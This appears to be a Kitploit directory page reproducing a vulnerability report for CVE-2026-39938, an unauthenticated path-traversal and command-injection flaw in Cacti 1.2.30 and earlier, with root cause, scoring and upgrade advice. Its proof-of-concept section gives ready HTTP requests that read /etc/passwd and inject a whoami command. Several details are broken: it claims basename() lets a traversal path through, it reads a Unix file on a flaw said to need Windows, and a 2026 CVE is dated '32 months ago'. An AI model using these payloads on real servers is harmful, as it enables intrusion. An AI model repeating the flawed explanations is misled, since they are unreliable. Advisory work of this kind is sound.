Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39938 — Detailed CVE-2026-39938 vulnerability report for Cacti ≤1.2.30, demonstrating unauthenticated LFI chained to OS command injection RCE with PoC, root cause analysis, and remediation guidance. | Kitploit
Tools/GitHubGitHub/kx00007/cve-2026-39938
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubkx00007/cve-2026-39938

CVE-2026-39938

Detailed CVE-2026-39938 vulnerability report for Cacti ≤1.2.30, demonstrating unauthenticated LFI chained to OS command injection RCE with PoC, root cause analysis, and remediation guidance.

View Repository
32 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Report: Cacti Unauthenticated RCE on Graph Image

Researcher: K | Product: Cacti ≤ 1.2.30 | CVE: CVE-2026-39938


[01] Vulnerability Summary

FieldValue
ProductCacti — The Complete RRDtool-based Graphing Solution
Affected Version(s)≤ 1.2.30
Vulnerability ClassCWE-22: Path Traversal (LFI) → CWE-78: OS Command Injection
Attack VectorNetwork
AuthenticationNone required (guest account bypass)
User InteractionNone
CVSSv3.1 Score9.8 — CRITICAL
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cacti ≤ 1.2.30 is vulnerable to unauthenticated Local File Inclusion (LFI) via the graph_theme parameter in graph_image.php, chained to Remote Code Execution (RCE) through OS command injection via cacti_escapeshellarg() on Windows.


[02] Vulnerability Flow

root@kitploit:~
HTTP Request
    │
    ▼
graph_image.php
    │
    ├── $guest_account = true  →  Auth bypass (no login needed)
    │
    ├── graph_theme param  →  LFI (CWE-22)
    │       └── Path traversal via basename() bypass
    │
    └── Other params (graph_height, etc.)
            └── cacti_escapeshellarg()  →  OS injection (CWE-78)
                    └── proc_open()  →  RCE

[03] Root Cause: LFI via graph_theme

The graph_theme parameter is insufficiently sanitized. The fix attempted to use basename() but this is trivially bypassable — a path like themes/../../etc/passwd passes basename() validation while still traversing directories.

Vulnerable code path in graph_image.php:

root@kitploit:~
$theme = basename($_GET['graph_theme']); // basename() is NOT sufficient
include_once("./include/theme_" . $theme . ".php"); // LFI

The fix in 1.2.31 replaces basename() with cacti_validate_theme(), which uses a filesystem allowlist.


[04] Prerequisites

ConditionLikelihoodNotes
Cacti runs on WindowsCommon in enterprisecmd.exe escaping flaw enables RCE
Guest account enabledCommon — often defaultGuest user allows public graph viewing
At least one graph existsNear universallocal_graph_id=1 present after install
RRDtool installedRequired by CactiAlways present

[05] Proof of Concept

LFI — Read arbitrary files

root@kitploit:~
GET /cacti/graph_image.php?local_graph_id=1&graph_theme=../../../../etc/passwd

LFI → RCE chain

root@kitploit:~
GET /cacti/graph_image.php?local_graph_id=1&graph_height=100" & whoami & "&action=view

The OS command injection already provides direct Remote Code Execution (RCE), so LFI is not required to achieve compromise.

However From a researcher perspective, if both issues are considered together:

  • LFI can be used to read config.php and obtain database credentials or sensitive configuration data.
  • OS command injection can be used to execute system commands and gain control of the server.
  • LFI can also help confirm changes on the system (for example, verifying whether a file or payload was successfully created).

This shows that combining multiple vulnerabilities increases the overall impact and makes exploitation easier and more reliable.


[06] Impact Assessment

PillarRatingDescription
ConfidentialityHIGHFull read access to web server filesystem (config, DB creds)
IntegrityHIGHArbitrary command execution, web shell deployment
AvailabilityHIGHProcess termination, file corruption, DoS

[07] CVSS v3.1 Scoring

MetricValue
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh

Score: 9.8 — CRITICAL


[08] Remediation

PriorityAction
ImmediateUpgrade to Cacti 1.2.31 or later

👤 Author

MENG HOKSENG
Independent Security Researcher


References:

  • GHSA-rm7p-qcqm-x5m6
  • https://www.cve.org/CVERecord?id=CVE-2026-39938
  • https://github.com/Cacti/cacti/pull/6966
Download Tool